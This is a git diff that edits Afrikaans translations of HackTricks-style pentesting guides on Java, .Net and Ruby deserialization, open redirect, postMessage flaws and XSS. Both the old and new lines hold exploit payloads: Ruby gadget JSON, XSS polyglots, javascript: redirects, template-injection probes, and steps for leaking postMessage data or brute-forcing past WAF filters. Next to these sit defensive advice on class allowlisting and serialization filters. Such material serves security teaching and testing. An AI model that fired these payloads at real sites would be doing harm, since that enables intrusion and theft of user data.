kan **gebruik** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **saam met ysoserial om meer exploits te skep**. Meer inligting oor hierdie hulpmiddel in die **skyfies van die praatjie** waar die hulpmiddel aangebied is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec [**marshalsec** ](https://github.com/mbechler/marshalsec)kan gebruik word om payloads te genereer om verskillende **Json** en **Yml** serialisering biblioteke in Java te exploiteer.\ Om die projek te compileer, moes ek hierdie **afhangklikhede** by `pom.xml` voeg: -```markup +```html javax.activation activation @@ -520,10 +520,10 @@ throw new java.io.IOException("Cannot be deserialized"); ``` #### **Verbetering van Deserialisering Sekuriteit in Java** -**Aanpassing van `java.io.ObjectInputStream`** is 'n praktiese benadering om deserialisering proses te beveilig. Hierdie metode is geskik wanneer: +**Aanpassing van `java.io.ObjectInputStream`** is 'n praktiese benadering om deserialisering prosesse te beveilig. Hierdie metode is geskik wanneer: - Die deserialisering kode is onder jou beheer. -- Die klasse wat verwag word vir deserialisering is bekend. +- Die klasse wat vir deserialisering verwag word, is bekend. Oorheers die **`resolveClass()`** metode om deserialisering tot slegs toegelate klasse te beperk. Dit voorkom deserialisering van enige klas behalwe dié wat eksplisiet toegelaat is, soos in die volgende voorbeeld wat deserialisering tot die `Bicycle` klas beperk: ```java @@ -546,7 +546,7 @@ return super.resolveClass(desc); } } ``` -**Gebruik van 'n Java Agent vir Sekuriteitsverbetering** bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir **swartlys van skadelike klasse**, met 'n JVM parameter: +**Gebruik van 'n Java-agent vir sekuriteitsverbetering** bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir **swartlys van skadelike klasse**, met 'n JVM-parametervar: ``` -javaagent:name-of-agent.jar ``` @@ -554,7 +554,7 @@ Dit bied 'n manier om deserialisering dinamies te beveilig, ideaal vir omgewings Kyk na 'n voorbeeld in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) -**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`** koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekte moet voldoen voordat dit gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied. +**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`** koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekke moet voldoen voordat hulle gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied. Om serialisering filters te gebruik, kan jy 'n globale filter stel wat op alle deserialisering operasies van toepassing is of dit dinamies vir spesifieke strome konfigureer. Byvoorbeeld: ```java @@ -571,7 +571,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); **Benutting van Eksterne Biblioteke vir Verbeterde Sekuriteit**: Biblioteke soos **NotSoSerial**, **jdeserialize**, en **Kryo** bied gevorderde funksies vir die beheer en monitering van Java deserialisering. Hierdie biblioteke kan addisionele lae van sekuriteit bied, soos die witlys of swartlys van klasse, die analise van geserialiseerde objekte voor deserialisering, en die implementering van pasgemaakte serialiseringstrategieë. - **NotSoSerial** onderskep deserialiseringprosesse om die uitvoering van onbetroubare kode te voorkom. -- **jdeserialize** stel die analise van geserialiseerde Java-objekte in staat sonder om hulle te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer. +- **jdeserialize** maak dit moontlik om geserialiseerde Java-objekte te analiseer sonder om hulle te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer. - **Kryo** is 'n alternatiewe serialiseringraamwerk wat fokus op spoed en doeltreffendheid, en bied konfigureerbare serialiseringstrategieë wat sekuriteit kan verbeter. ### Verwysings @@ -586,7 +586,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) - Java en .Net JSON deserialisering **papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** praat: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) en skyfies: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) -- Deserialiserings CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) +- Deserialisering CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## JNDI Inspuiting & log4Shell @@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Java Boodskapdiens -> Die **Java Boodskapdiens** (**JMS**) API is 'n Java boodskap-georiënteerde middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsent–verbruiker probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat by Sun Microsystems ontwikkel is, maar wat sedertdien deur die Java Gemeenskapproses gelei is. Dit is 'n boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang en lees. Dit laat die kommunikasie tussen verskillende komponente van 'n verspreide toepassing toe om losweg gekoppel, betroubaar en asynchrone te wees. (Van [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> Die **Java Boodskapdiens** (**JMS**) API is 'n Java boodskap-georiënteerde middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsent–verbruiker probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat by Sun Microsystems ontwikkel is, maar wat sedertdien deur die Java Gemeenskapsproses gelei is. Dit is 'n boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang en lees. Dit laat die kommunikasie tussen verskillende komponente van 'n verspreide toepassing toe om losweg gekoppel, betroubaar en asynchrone te wees. (Van [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Produkte @@ -610,10 +610,10 @@ Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur: ### Ontginning -So, basies is daar 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg regte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om **kwaadwillige geserialiseerde objekte te stuur wat deur die verbruiker/abonnee gedeserialiseer sal word**.\ +So, basies is daar 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg voorregte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om **kwaadwillige geserialiseerde objekte te stuur wat deur die verbruiker/subscriber gedeserialiseer sal word**.\ Dit beteken dat in hierdie ontginning al die **kliënte wat daardie boodskap gaan gebruik, besmet sal raak**. -Jy moet onthou dat selfs al is 'n diens kwesbaar (omdat dit onveilige deserialisering van gebruikersinvoer doen) jy steeds geldige gadgets moet vind om die kwesbaarheid te ontgin. +Jy moet onthou dat selfs al is 'n diens kwesbaar (omdat dit onveilig gebruikersinvoer deserialiseer) jy steeds geldige gadgets moet vind om die kwesbaarheid te ontgin. Die hulpmiddel [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **verbinding te maak en hierdie dienste aan te val deur verskeie kwaadwillige geserialiseerde objekte te stuur wat bekende gadgets gebruik**. Hierdie ontginnings sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing is. @@ -624,7 +624,7 @@ Die hulpmiddel [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **ver ## .Net -In die konteks van .Net, werk deserialisering ontginnings op 'n manier soortgelyk aan dié wat in Java gevind word, waar gadgets ontgin word om spesifieke kode tydens die deserialisering van 'n objek uit te voer. +In die konteks van .Net, werk deserialisering ontginnings op 'n manier soortgelyk aan dié wat in Java gevind word, waar gadgets ontgin word om spesifieke kode te laat loop tydens die deserialisering van 'n objek. ### Vingerafdruk @@ -643,15 +643,15 @@ Die soektog moet teiken op die Base64-gecodeerde string **AAEAAAD/////** of enig ### ysoserial.net -In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repo afgelaai het, moet jy **die hulpmiddel saamstel** met Visual Studio byvoorbeeld. +In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repository afgelaai het, moet jy **die hulpmiddel compileer** met Visual Studio byvoorbeeld. As jy wil leer oor **hoe ysoserial.net sy ontginning skep** kan jy [**hierdie bladsy kyk waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). Die hoofopsies van **ysoserial.net** is: **`--gadget`**, **`--formatter`**, **`--output`** en **`--plugin`.** - **`--gadget`** word gebruik om die gadget aan te dui wat misbruik moet word (gee die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer). -- **`--formatter`**, gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer) -- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** gegecodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering-kompatibiliteitsprobleme** hê wat die ontginning sal verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dat dit altyd sal werk)._ +- **`--formatter`**, word gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer) +- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** gegecodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering kompatibiliteitsprobleme** hê wat sal voorkom dat die ontginning behoorlik werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dit sal altyd werk nie)._ - **`--plugin`** ysoserial.net ondersteun plugins om **ontginnings vir spesifieke raamwerke** soos ViewState te maak. #### Meer ysoserial.net parameters @@ -710,7 +710,7 @@ Daarom laat die **`--test`** parameter ons toe om te verstaan **watter stukke ko ### ViewState -Kyk na [hierdie POST oor **hoe om te probeer om die \_\_ViewState parameter van .Net te ontplof** ](exploiting-__viewstate-parameter.md) om **arbitraire kode uit te voer.** As jy **reeds die geheime** wat deur die slagoffer masjien gebruik word, ken, [**lees hierdie pos om te weet hoe om kode uit te voer**](exploiting-__viewstate-knowing-the-secret.md)**.** +Kyk na [hierdie POST oor **hoe om te probeer om die \_\_ViewState parameter van .Net te ontplof**](exploiting-__viewstate-parameter.md) om **arbitraire kode uit te voer.** As jy **reeds die geheime** wat deur die slagoffer masjien gebruik word, ken, [**lees hierdie pos om te weet hoe om kode uit te voer**](exploiting-__viewstate-knowing-the-secret.md)**.** ### Preventie @@ -719,11 +719,11 @@ Om die risiko's wat met deserialisasie in .Net geassosieer word, te verminder: - **Vermy om datastrome toe te laat om hul objektipe te definieer.** Gebruik `DataContractSerializer` of `XmlSerializer` wanneer moontlik. - **Vir `JSON.Net`, stel `TypeNameHandling` op `None`:** %%%TypeNameHandling = TypeNameHandling.None%%% - **Vermy om `JavaScriptSerializer` met 'n `JavaScriptTypeResolver` te gebruik.** -- **Beperk die tipes wat gedeserialiseer kan word**, verstaan die inherente risiko's met .Net tipes, soos `System.IO.FileInfo`, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diensaanvalle kan lei. +- **Beperk die tipes wat gedeserialiseer kan word**, terwyl jy die inherente risiko's van .Net tipes verstaan, soos `System.IO.FileInfo`, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diensaanvalle kan lei. - **Wees versigtig met tipes wat riskante eienskappe het**, soos `System.ComponentModel.DataAnnotations.ValidationException` met sy `Value` eienskap, wat uitgebuit kan word. - **Beheer tipe-instansie veilig** om te voorkom dat aanvallers die deserialisasieproses beïnvloed, wat selfs `DataContractSerializer` of `XmlSerializer` kwesbaar maak. - **Implementeer witlysbeheer** met 'n pasgemaakte `SerializationBinder` vir `BinaryFormatter` en `JSON.Net`. -- **Bly ingelig oor bekende onveilige deserialisasie gadgets** binne .Net en verseker dat deserializers nie sulke tipes instansieer nie. +- **Bly ingelig oor bekende onveilige deserialisasie-gadgets** binne .Net en verseker dat deserializers nie sulke tipes instansieer nie. - **Isolateer potensieel riskante kode** van kode met internettoegang om te voorkom dat bekende gadgets, soos `System.Windows.Data.ObjectDataProvider` in WPF-toepassings, aan onbetroubare databronne blootgestel word. ### **Verwysings** @@ -819,7 +819,7 @@ Ander RCE-ketting om Ruby On Rails te benut: [https://codeclimate.com/blog/rails ### Ruby .send() metode -Soos verduidelik in [**hierdie kwesbaarheidsverslag**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), as sommige gebruiker ongesuiwerde invoer die `.send()` metode van 'n ruby objek bereik, laat hierdie metode toe om **enige ander metode** van die objek met enige parameters aan te roep. +Soos verduidelik in [**hierdie kwesbaarheidsverslag**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), as 'n gebruiker ongesuiwerde invoer by die `.send()` metode van 'n ruby objek kom, laat hierdie metode toe om **enige ander metode** van die objek met enige parameters aan te roep. Byvoorbeeld, om eval aan te roep en dan ruby kode as tweede parameter sal toelaat om arbitrêre kode uit te voer: ```ruby @@ -854,17 +854,17 @@ Kyk hoe dit moontlik kan wees om 'n [Ruby klas te besoedel en dit hier te misbru ### Ruby _json besoedeling -Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil, in die liggaam in te stel. As die agterkant byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang uitgevoer word. +Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil, in die liggaam in te stel. As die backend byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang plaasvind. Kyk meer inligting in die [Ruby _json besoedeling bladsy](ruby-_json-pollution.md). ### Ander biblioteke -Hierdie tegniek is geneem [ **uit hierdie blogpos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Hierdie tegniek is geneem [**uit hierdie blogpos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). Daar is ander Ruby biblioteke wat gebruik kan word om voorwerpe te serialiseer en wat dus misbruik kan word om RCE te verkry tydens 'n onveilige deserialisering. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat hulle van die gelaaide biblioteek noem wanneer dit nie-geserialiseer is nie (funksie om te misbruik om RCE te verkry basies): -
BiblioteekInvoerdataKick-off metode binne klas
Marshal (Ruby)Binêr_load
OjJSONhash (klas moet in hash(map) as sleutel geplaas word)
OxXMLhash (klas moet in hash(map) as sleutel geplaas word)
Psych (Ruby)YAMLhash (klas moet in hash(map) as sleutel geplaas word)
init_with
JSON (Ruby)JSONjson_create ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))
+
BiblioteekInvoergegewensKick-off metode binne klas
Marshal (Ruby)Binêr_load
OjJSONhash (klas moet in hash(map) as sleutel geplaas word)
OxXMLhash (klas moet in hash(map) as sleutel geplaas word)
Psych (Ruby)YAMLhash (klas moet in hash(map) as sleutel geplaas word)
init_with
JSON (Ruby)JSONjson_create ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))
Basiese voorbeeld: ```ruby @@ -888,7 +888,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spec sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL op te haal, wat 'n groot detektor van hierdie soort ongesaniteerde deserialisering kwesbaarhede bied. +In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spec sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL te verkry, wat 'n groot detektor van hierdie soort onsuiwer deserialisasie kwesbaarhede bied. ```json { "^o": "URI::HTTP", @@ -922,6 +922,6 @@ Boonop is gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep wo } } ``` -Kyk vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Kontroleer vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 8629557dc..7a09c421a 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -57,8 +57,8 @@ javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` -## Open Redirect oplaai van svg-lêers -```markup +## Open Redirect om svg-lêers op te laai +```html

THIS IS AND INJECTED TITLE

``` -## [File Inclusion/Path Traversal](../file-inclusion/index.html) +## [Lêer Insluiting/Pad Traversering](../file-inclusion/index.html) ### Basiese Toetse ```bash @@ -130,14 +130,14 @@ javascript:alert(1) ## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md) ### Basiese Toetse -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ### Polygloths -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html) @@ -147,7 +147,7 @@ Die dieselfde toetse wat vir Open Redirect gebruik word, kan hier gebruik word. ## [Server Side Template Injection](../ssti-server-side-template-injection/index.html) ### Basiese Toetse -```markup +```html ${{<%[%'"}}%\ {{7*7}} ${7*7} @@ -162,24 +162,24 @@ ${{7*7}} ## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ### Basiese Toetse -```markup +```html ``` ### Polygloths -```markup +```html ``` ## XSS ### Basiese Toetse -```markup +```html " onclick=alert() a=" '"> javascript:alert() ``` ### Polygloths -```markup +```html javascript:"/*'/*`/*--> -->'"/>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index fe3dcdb92..3f11c72b9 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -38,9 +38,9 @@ As die **wildcard** gebruik word, kan **boodskappe na enige domein gestuur word* ### Aanval op iframe & wildcard in **targetOrigin** -Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n bladsy vind wat **iframed** kan word (geen `X-Frame-Header` beskerming nie) en wat **sensitiewe** boodskap via **postMessage** stuur met 'n **wildcard** (\*), kan jy die **oorsprong** van die **iframe** **wysig** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word **lek**.\ +Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n bladsy vind wat **iframed** kan word (geen `X-Frame-Header` beskerming nie) en wat **sensitiewe** boodskap via **postMessage** met 'n **wildcard** (\*) stuur, kan jy die **oorsprong** van die **iframe** **wysig** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word **lek**.\ Let wel dat as die bladsy iframed kan word, maar die **targetOrigin** **op 'n URL en nie op 'n wildcard** gestel is nie, hierdie **truuk sal nie werk**. -```markup +```html \" In die konteks van hierdie kwesbaarheid, is die `File` objek merkwaardig uitbuitbaar weens sy leesbare `name` eienskap. Hierdie eienskap, wanneer in sjablone gebruik, word nie gesaniteer deur die `escapeHtml` funksie nie, wat lei tot potensiële sekuriteitsrisiko's. -- Die `document.domain` eienskap in JavaScript kan deur 'n skrif gestel word om die domein te verkort, wat 'n meer ontspanne same oorsprong beleid afdwinging binne die selfde ouerdomein moontlik maak. +- Die `document.domain` eienskap in JavaScript kan deur 'n skrip gestel word om die domein te verkort, wat 'n meer ontspanne same oorsprong beleid afdwinging binne die selfde ouerdomein moontlik maak. ### e.origin == window.origin omseiling @@ -130,7 +130,7 @@ Wanneer 'n webblad binne 'n **sandboxed iframe** ingebed word met %%%%%%, is dit Deur **`allow-popups`** in die sandbox eienskap spesifiek te maak, erf enige pop-up venster wat vanuit die iframe geopen word die sandbox beperkings van sy ouer. Dit beteken dat tensy die **`allow-popups-to-escape-sandbox`** eienskap ook ingesluit is, die pop-up venster se oorsprong ook op `null` gestel word, wat ooreenstem met die iframe se oorsprong. -Gevolglik, wanneer 'n pop-up onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die pop-up gestuur word met **`postMessage`**, het beide die sending en ontvangende kante hul oorsprong op `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** waar is (`null == null`), omdat beide die iframe en die pop-up die selfde oorsprong waarde van `null` deel. +Gevolglik, wanneer 'n pop-up onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die pop-up gestuur word met **`postMessage`**, het beide die sender en ontvanger se oorspronge op `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** waar is (`null == null`), omdat beide die iframe en die pop-up die selfde oorsprong waarde van `null` deel. Vir meer inligting **lees**: @@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md ### Omseiling van e.source -Dit is moontlik om te kontroleer of die boodskap van dieselfde venster kom waar die skrif luister (spesiaal interessant vir **Inhoud Skrifte van blaaier uitbreidings** om te kontroleer of die boodskap van dieselfde bladsy gestuur is): +Dit is moontlik om te kontroleer of die boodskap van dieselfde venster kom waarin die skrip luister (spesiaal interessant vir **Inhoud Skrifte van blaaier uitbreidings** om te kontroleer of die boodskap van dieselfde bladsy gestuur is): ```javascript // If it’s not, return immediately. if (received_message.source !== window) { @@ -157,9 +157,9 @@ bypassing-sop-with-iframes-2.md ### X-Frame-Header omseiling -Om hierdie aanvalle uit te voer, sal u idealiter in staat wees om die **slagoffer webblad** binne 'n `iframe` te plaas. Maar sommige headers soos `X-Frame-Header` kan daardie **gedrag** **voorkom**.\ +Om hierdie aanvalle uit te voer, sal u idealiter in staat wees om die **slagoffer se webblad** binne 'n `iframe` te plaas. Maar sommige headers soos `X-Frame-Header` kan daardie **gedrag** **voorkom**.\ In daardie scenario's kan u steeds 'n minder stealthy aanval gebruik. U kan 'n nuwe oortjie oopmaak na die kwesbare webtoepassing en daarmee kommunikeer: -```markup +```html `** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik: -- As dit weerspieël word tussen **``** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingeslote `` etiket binne die HTML-kode is nie. +- As dit weerspieël word tussen **``** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `` etiket binne die HTML-kode is nie. - As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie): - `'-alert(1)-'` - `';-alert(1)//` @@ -92,9 +92,9 @@ js-hoisting.md ### Javascript Funksie -Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld wat in die natuur gesien kan word, is iets soos: `?callback=callbackFunc`. +Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`. -'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te verander** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos: +'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos: ![](<../../images/image (711).png>) @@ -132,7 +132,7 @@ dom-xss.md ### **Universele XSS** -Hierdie tipe XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\ +Hierdie soort XSS kan **oral** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\ Sommige **voorbeelde**: {{#ref}} @@ -147,7 +147,7 @@ server-side-xss-dynamic-pdf.md ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Invoeging binne rou HTML +## Invoeging binne ruwe HTML Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of of dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\ Vir hierdie gevalle hou ook **in gedagte** [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md)**.**\ @@ -161,22 +161,22 @@ alert(1) ``` -Maar, as tags/kenmerke swart/blanklys gebruik word, sal jy **brute-force watter tags** jy kan skep.\ -Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force kenmerke/gebeurtenisse** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval. +Maar, as tags/attributes swart/blanklysiening gebruik word, sal jy **brute-force watter tags** jy kan skep.\ +Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force attributes/events** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval. -### Tags/Gebeurtenisse brute-force +### Tags/Events brute-force -Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** met die geldige tags (in dieselfde webblad klik op _**Kopieer gebeurtenisse na klembord**_ en volg dieselfde prosedure as voorheen). +Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die events** met die geldige tags (in 